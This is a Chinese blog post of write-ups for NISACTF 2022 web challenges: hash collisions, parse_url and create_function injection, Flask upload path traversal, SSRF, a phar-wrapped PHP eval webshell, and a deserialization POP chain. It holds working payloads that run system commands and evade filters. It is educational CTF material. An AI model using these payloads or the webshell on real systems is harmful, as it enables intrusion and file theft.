[NISACTF 2022]上

目录

[NISACTF 2022]checkin

​编辑 [NISACTF 2022]level-up

第三层  sha1碰撞

第四层 

第五层

[NISACTF 2022]babyupload

[NISACTF 2022]easyssrf 

[NISACTF 2022]bingdundun~

第一步:构造phar包

第二步:

第三步

[NISACTF 2022]babyserialize 

(1)eval反推到__invoke

(2)__invoke反推到__toString

(3)__toString反推到__set

(4)从__set反推到__call


有 create function注入,和parse_url的知识,phar发送木马文件压缩绕过

md5强比较,sha1强比较,editor的使用学到蛮多了加油

[NISACTF 2022]checkin

打开界面本来以为是简单的get传参,结果发现有的字符不能选中,选了好几下也不可以很蹊跷,仅仅想到了可能是代替的一些东西吧,然后csdn了一下

【神奇的Unicode编码】这个符号竟然可以从右往左打印字符串 - Lxxx

 php打开,发现存在特殊字符,因为这道题,了解了一个软件editor

然后url编码就可以,比如先找get里面的

 %E2%80%AE%E2%81%A6%55%67%65%69%77%6F%E2%81%A9%E2%81%A6%63%75%69%73%68%69%79%75%61%6E

 

 %E2%80%AE%E2%81%A6%20%46%6c%61%67%21%E2%81%A9%E2%81%A6%4E%31%53%41%43%54%46

 [NISACTF 2022]level-up

真不容易呀,加油!

这道题打开以后发现少都没有,但是感觉disallow这是一个突破口

实在不知道是啥,然后搜了一下disallow,发现这个是存在与robots.txt文件中的,浏览器访问一下

 啊啊啊,出来了,访问下面的php,爆出来了源码

<?php
//here is level 2
error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){
    $a1 = (string)$_POST['array1'];
    $a2 = (string)$_POST['array2'];
    if ($a1 == $a2){
        die("????");
    }
    if (md5($a1) === md5($a2)){
        echo $level3;
    }
    else{
        die("level 2 failed ...");
    }

}
else{
    show_source(__FILE__);
}
?>

array1[]=1&array2[]=2本来觉得数组绕过就可以可是,发现输出了????

原因是php的数组在进行string强制转换时,会将数组转换为NULL类型 null=null就成立了,没绕过去

所以我们需要一个,md5前不相等,而md5后全等的

 payload:array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
 

第三层  sha1碰撞

array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

第四层 

<?php
//here is last level
    error_reporting(0);
    include "str.php";
    show_source(__FILE__);

    $str = parse_url($_SERVER['REQUEST_URI']);
    if($str['query'] == ""){
        echo "give me a parameter";
    }
    if(preg_match('/ |_|20|5f|2e|\./',$str['query'])){
        die("blacklist here");
    }
    if($_GET['NI_SA_'] === "txw4ever"){
        die($level5);
    }
    else{
        die("level 4 failed ...");
    }

?> 

在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了,such as:`CTF[SHOW.COM`=>`CTF_SHOW.COM`

 这样也可以,或者

考察parse_url的漏洞

http://1.14.71.254:28023///level_level_4.php?NI_SA_=txw4ever

parse_url函数的解释和绕过_q1352483315的博客-CSDN博客_url绕过

第五层

 额应该是最后一惯了,看见$a($b)想到create function注入,自带eval命令执行

因为$a正则所以开头加个\绕过

?a=\create_function&b=}system('tac /flag');//

}为了闭合前面 //注释掉后面得出flag

[NISACTF 2022]babyupload

打开页面,哦一道文件上传的题,想看看源码,有没有前端过滤啥的,结果看见了source,访问一下

下载得到一个python文件,可以知道这是一个flask项目,这就开始了审代码环节

from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuid

app = Flask(__name__)

SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""


def db():
    g_db = getattr(g, '_database', None)
    if g_db is None:
        g_db = g._database = sqlite3.connect("database.db")
    return g_db


@app.before_first_request
def setup():
    os.remove("database.db")
    cur = db().cursor()
    cur.executescript(SCHEMA)


@app.route('/')
def hello_world():
    return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
    Select image to upload:
    <input type="file" name="file">
    <input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""


@app.route('/source')
def source():
    return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)


@app.route('/upload', methods=['POST'])
def upload():
    if 'file' not in request.files:
        return redirect('/')
    file = request.files['file']
    if "." in file.filename:
        return "Bad filename!", 403
    conn = db()
    cur = conn.cursor()
    uid = uuid.uuid4().hex
    try:
        cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
    except sqlite3.IntegrityError:
        return "Duplicate file"
    conn.commit()

    file.save('uploads/' + file.filename)
    return redirect('/file/' + uid)


@app.route('/file/<id>')
def file(id):
    conn = db()
    cur = conn.cursor()
    cur.execute("select path from files where id=?", (id,))
    res = cur.fetchone()
    if res is None:
        return "File not found", 404

    # print(res[0])

    with open(os.path.join("uploads/", res[0]), "r") as f:
        return f.read()


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

也就是说,我们让res[0]为/flag就行了

 

只需要把filename设为/flag,文件内容随便写,上传就会获得网站,点开就会出现flag

[NISACTF 2022]easyssrf 

自从被坑过,easy这种已经不相信了

 这种方式不正确,可是弄出来了提示

file读取文件

 

stristr:函数是,字符串二在字符串一中的位置,如果有返回当前到之后,第三个变量默认为false,如果是true则返回当前串之前的字符 

 

伪协议搞定

[NISACTF 2022]bingdundun~

.php htacess后缀都不能上传,传了个图片码可是,连不上呀,断绝了我的想法

 看完师傅们的wp我,不禁赞叹,完全没想到本来以为phar协议只会出现在反序列化里面

可以看到提示有图片或者压缩包,想到了phar协议和zip协议,其实在此之前我是根本没听过这两个协议的(惭愧)

第一步:构造phar包

创建一个test.php

<?php
    $phar = new Phar("exp.phar"); 
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); 
    $phar->addFromString("test.php", '<?php eval($_REQUEST[8]);?>'); 
    $phar->stopBuffering();
?>

其实相对于,phar反序列化,少一个mete序列化

第二步:

把生成的exp.phar,改成exp.zip然后通过文件上传功能点上传

第三步

访问上传的文件zip/test是一句话木马写入的文件名

然后可以链接蚁建,

密码8

http://1.14.71.254:28416/?bingdundun=phar://2fac0d2460c2648c7b8b624a9a71e42e.zip/test

或者

[NISACTF 2022]babyserialize 

<?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>


pop链表题,先找尾巴也就是可以实现输出flag的命令

public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }       感觉eval可以实现

(1)eval反推到__invoke

这里先看到eval,而eval中的变量可控,所以肯定是代码执行,而eval又在__invoke魔术方法中

__invoke魔术方法是对象被当做函数进行调用的时候所触发

这里就反推看哪里用到了类似$a()这种的。

(2)__invoke反推到__toString

在Ilovetxw类的toString方法中,返回了return $bb;

__ToString方法,是对象被当做字符串的时候进行自动调用

(3)__toString反推到__set

在four的__set中,调用了strolower方法。对字符串进行了操作

(4)从__set反推到__call

__set:对不存在或者不可访问的变量进行赋值就自动调用
__call:对不存在的方法或者不可访问的方法进行调用就自动调用
这里反推到Ilovetxw中的__call方法,而__call方法又可直接反推回pop链入口函数__wakeup

构造

invoke-->tostring-->set-->call-->wakeup

NISA--->ilovetxw--->four-->ilovetxw->Tianxiwei

<?php
class NISA{
    public $fun;
    public $txw4ever="System('ls /');";
}

class TianXiWei{
    public $ext;
    public $x;
}

class Ilovetxw{
    public $huang;
    public $su;
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';
}

$T=new TianXiWei();                      
$N=new NISA();
$I=new Ilovetxw();
$F=new four();
$T->ext=$I;
$I->huang=$F;
$F->a=$I;
$I->su=$N;
echo urlencode(serialize($T));

 根据题目,hint

   if($this->fun=="show_me_flag"){
            hint(); 然后把hint的属性清空

看见有过滤,我第一次传参 system过滤掉了,大小写就可以绕过

public $txw4ever = "\$a='sy';\$b='stem';(\$a.\$b)('cat /f*');";也是一种绕过手段

尤其是system后面的分号必须加

public $txw4ever="System('cat /fllllllaaag');改为cat就可以了

 这道题干了我一个小时,还是不够熟练加油!

  • 4
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值